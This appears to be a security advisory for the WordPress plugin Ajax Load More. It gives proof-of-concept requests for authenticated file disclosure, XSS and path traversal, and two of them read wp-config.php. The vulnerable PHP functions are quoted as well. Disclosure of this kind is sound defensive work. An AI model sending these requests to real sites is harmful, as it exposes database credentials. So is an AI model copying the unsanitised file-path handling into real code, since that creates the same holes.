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Authenticated Information Disclosure / Local File Disclosure:

"ajax-load-more-repeaters" AJAX action is vulnerable to "Full Path Disclosure" since full path of webserver file name can be seen in the request. Arbitrary filename can be provided as input via parameter "alm_repeaters_export" to view the file contents. PoC for reading WordPress Configuration file:

```
POST /wp-admin/admin.php?page=ajax-load-more-repeaters
alm_repeaters_export=/var/www/html/wp-config.php
```

```
188 function alm_repeaters_export() {
189     if ( isset( $_POST['alm_repeaters_export'] ) && ( ! wp_doing_ajax() ) ) {
190         if ( current_user_can( 'edit_theme_options' ) ) {
191             $file = $_POST['alm_repeaters_export'];
192             if ( file_exists( $file ) ) {
193                 header( 'Content-Description: File Transfer' );
194                 header( 'Content-Type: application/octet-stream' );
195                 header( 'Content-Disposition: attachment; filename="' . basename( $file ) . '"' );
196                 readfile( $file );
197                 exit();
198             }
199         }
200     }
201 }
```

Vulnerable file: admin/admin.php

Authenticated Cross-Site Scripting:

PoC:

```
/wp-admin/admin-ajax.php?action=alm_get_tax_terms&taxonomy=post_tag&index=1"><script
```



Parameter `index` is not properly sanitized. Vulnerable file: `admin/admin.php`

```
1177
1178 function alm_get_tax_terms(){
1179     if (current_user_can( 'edit_theme_options' )){
1180
1181         $nonce = $_GET["nonce"];
1182         // Check our nonce, if they don't match then bounce!
1183         if ( ! wp_verify_nonce( $nonce, 'alm_repeater_nonce' ))
1184             die( 'Get Bounced!' );
1185
1186         $taxonomy = (isset($_GET['taxonomy'])) ? $_GET['taxonomy'] : '';
1187         $index = (isset($_GET['index'])) ? $_GET['index'] : '1';
1188
1189         $tax_args = array(
1190             'orderby' => 'name',
1191             'order' => 'ASC',
1192             'hide_empty' => false
1193         );
1194         $terms = get_terms($taxonomy, $tax_args);
1195         $returnVal = '';
1196         if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){
1197             $returnVal .= '<ul>';
1198             foreach ( $terms as $term ) {
1199
1200                 $returnVal .= '<li><input type="checkbox" class="alm_element" name="tax-term-'. $term->slug.'" id="tax-term-'. $term->slug.'-'. $index.'" data-type="
1201                     '. $term->slug.'"><label for="tax-term-'. $term->slug.'-'. $index.'">'. $term->name.'</label></li>';
1202             }
1203             $returnVal .= '</ul>';
1204             echo $returnVal;
1205
1206             die();
1207         }else{
1208             echo "<p class='warning'>No terms exist within this taxonomy</p>";
1209             die();
1210         }
1211     }
1212 }
```

Authenticated Path traversal to arbitrary file read:

PoC:

```
/wp-admin/admin-ajax.php?action=alm_get_layout&repeater=default&type=../../../../../../w
/wp-admin/admin-ajax.php?action=alm_get_layout&repeater=default&type=../../../../wp-conf
```



```

409 /
410 function alm_get_layout() {
411     if ( current_user_can( 'edit_theme_options' ) ) {
412
413         $nonce = sanitize_text_field( $_GET["nonce"] );
414         $type = sanitize_text_field( $_GET["type"] );
415         $custom = sanitize_text_field( $_GET["custom"] );
416
417         // Check our nonce, if they don't match then bounce!
418         if ( ! wp_verify_nonce( $nonce, 'alm_repeater_nonce' ) ) {
419             wp_die( 'Error - unable to verify nonce, please try again.' );
420         }
421
422         if ( $type === 'default' ) {
423             // Default Layout.
424             $content = file_get_contents( ALM_PATH . 'admin/includes/layout/' . $type . '.php' );
425         } else {
426             // Custom Layout.
427             if ( $custom == 'true' ) {
428                 $dir = 'alm_layouts';
429                 if ( is_child_theme() ) {
430                     $path = get_stylesheet_directory() . '/' . $dir . '/' . $type;
431                     // if child theme does not have the layout, check the parent theme.
432                     if ( ! file_exists( $path ) ) {
433                         $path = get_template_directory() . '/' . $dir . '/' . $type;
434                     }
435                 } else {
436                     $path = get_template_directory() . '/' . $dir . '/' . $type;
437                 }
438                 $content = file_get_contents( $path );
439             }
440             // Layouts Add-on.
441             else {
442                 $content = file_get_contents( ALM_LAYOUTS_PATH . 'layouts/' . $type . '.php' );
443             }
444         }
445     }
446
447     $return['value'] = $content;
448     echo json_encode( $return );
449 }
450
451

```

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